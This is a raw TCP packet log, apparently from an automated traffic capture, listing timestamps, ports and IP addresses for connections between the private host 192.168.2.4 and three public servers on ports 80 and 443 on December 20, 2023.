Dec 20, 2023 15:35:08.264410973 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.264460087 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.264503002 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.264580011 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.264900923 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.264923096 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.264961004 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.264961958 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.264966011 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.264987946 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.265008926 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.266043901 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.268063068 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.268253088 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.268296003 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.268390894 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.268466949 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.268516064 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.268559933 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.268657923 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.268702030 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.269133091 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.269241095 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.269293070 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.269370079 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.269407034 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.269455910 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.269500971 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.269567013 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.269610882 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.269704103 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.269812107 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.269857883 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.269932032 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.270025015 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.270066023 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.270107031 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.270184994 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.270241976 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.270241976 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.270327091 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.270371914 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.270437002 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.270524025 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.270570040 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.270656109 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.270730019 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.270772934 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.271039963 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.271059036 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.271097898 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.271104097 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.271131992 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.271140099 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.271584988 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.271699905 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.271764994 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.271806002 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.271898985 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.271940947 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.271967888 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.272036076 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.272078037 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.272126913 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.272201061 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.272218943 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.272247076 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.272270918 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.272315979 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.272663116 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.272751093 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.272795916 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.272836924 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.272890091 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.272933006 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.273375988 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.273396015 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.273449898 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.273456097 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.273494959 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.274029970 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.274132013 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.274178028 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.274204969 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.274254084 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.274298906 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.274326086 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.274389029 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.274434090 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.274460077 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.274535894 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.274574995 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.274672031 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.274754047 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.274796963 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.274816990 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.274902105 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.274945974 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.274992943 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.275037050 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.275083065 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.275105000 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.275163889 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.275207996 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.275333881 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.275427103 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.275470018 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.275473118 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.275522947 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.275557041 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.275573969 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.275688887 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.275733948 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.275758028 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.275825024 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.275870085 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.275882959 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.275927067 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.275970936 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.275989056 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.276035070 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.276078939 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.276078939 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.276153088 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.276190996 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.276199102 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.276238918 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.276284933 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.276401997 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.276463032 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.276496887 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.276513100 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.276653051 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.276699066 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.276730061 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.276792049 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.276832104 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.276838064 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.276890039 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.276937962 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.276983023 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.277055025 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.277096987 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.277160883 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.277239084 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.277278900 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.277364969 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.277430058 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.277476072 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.277544022 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.277632952 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.277676105 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.277714014 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.277755976 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.277796984 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.277842999 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.277931929 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.277976036 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.278182030 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.278284073 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.278321981 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.278325081 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.278378963 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.278420925 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.278439999 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.278496027 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.278542042 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.278580904 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.278676987 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.278721094 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.278723955 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.278795004 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.278844118 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.278871059 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.279145956 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.279185057 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.279211044 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.279298067 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.279340982 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.279341936 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.279433966 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.279473066 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.279706955 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.279793978 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.279830933 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.279866934 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.279951096 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.279998064 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.280035019 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.280129910 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.280172110 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.280200958 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.280319929 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.280359983 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.280396938 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.280484915 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.280524015 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.280607939 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.280692101 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.280740976 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.280781984 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.280875921 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.280911922 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.280972004 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.281049013 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.281089067 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.281148911 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.281224966 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.281265020 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.281430006 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.281507969 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.281548023 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.282691002 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.282776117 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.282815933 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.282860994 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.282984972 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.283030987 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.283185005 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.283262014 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.283303022 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.283304930 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.283366919 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.283406019 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.283452988 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.283603907 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.283648968 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.283673048 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.283827066 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.283863068 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.283901930 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.283981085 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.284018993 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.284019947 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.284076929 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.284111977 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.284117937 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.284185886 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.284224987 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.284497023 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.284555912 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.284595966 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.284764051 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.285727024 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.285772085 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.285788059 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.285850048 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.285888910 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.285929918 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.286164999 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.286204100 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.286246061 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.286345005 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.286385059 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.286477089 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.286659956 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.286701918 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.286727905 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.286820889 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.286860943 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.286909103 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.286961079 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.287002087 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.287031889 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.287105083 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.287153959 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.287223101 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.287306070 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.287369967 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.287386894 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.287528038 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.287569046 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.287796021 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.287904024 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.287944078 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.287991047 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.288073063 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.288113117 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.288130999 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.288255930 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.288268089 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.288295984 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.322772026 CET	49749	443	192.168.2.4	64.185.227.156
Dec 20, 2023 15:35:08.322808981 CET	443	49749	64.185.227.156	192.168.2.4
Dec 20, 2023 15:35:08.322892904 CET	49749	443	192.168.2.4	64.185.227.156
Dec 20, 2023 15:35:08.328301907 CET	49749	443	192.168.2.4	64.185.227.156
Dec 20, 2023 15:35:08.328320980 CET	443	49749	64.185.227.156	192.168.2.4
Dec 20, 2023 15:35:08.334253073 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.336461067 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.336489916 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.336529016 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.336536884 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.336565018 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.336576939 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.338427067 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.338443995 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.338478088 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.338515997 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.338520050 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.338617086 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.341120958 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.341137886 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.341170073 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.341207981 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.341212034 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.341253042 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.343646049 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.343663931 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.343709946 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.343714952 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.343745947 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.343755960 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.345403910 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.345419884 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.345467091 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.345473051 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.345500946 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.345515966 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.348037958 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.348054886 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.348102093 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.348108053 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.348134995 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.348156929 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.349998951 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.350016117 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.350076914 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.350086927 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.350110054 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.350126028 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.352605104 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.352619886 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.352674961 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.352679968 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.352724075 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.354396105 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.354410887 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.354448080 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.354454041 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.354480028 CET	49747	443	192.168.2.4	104.21.91.52
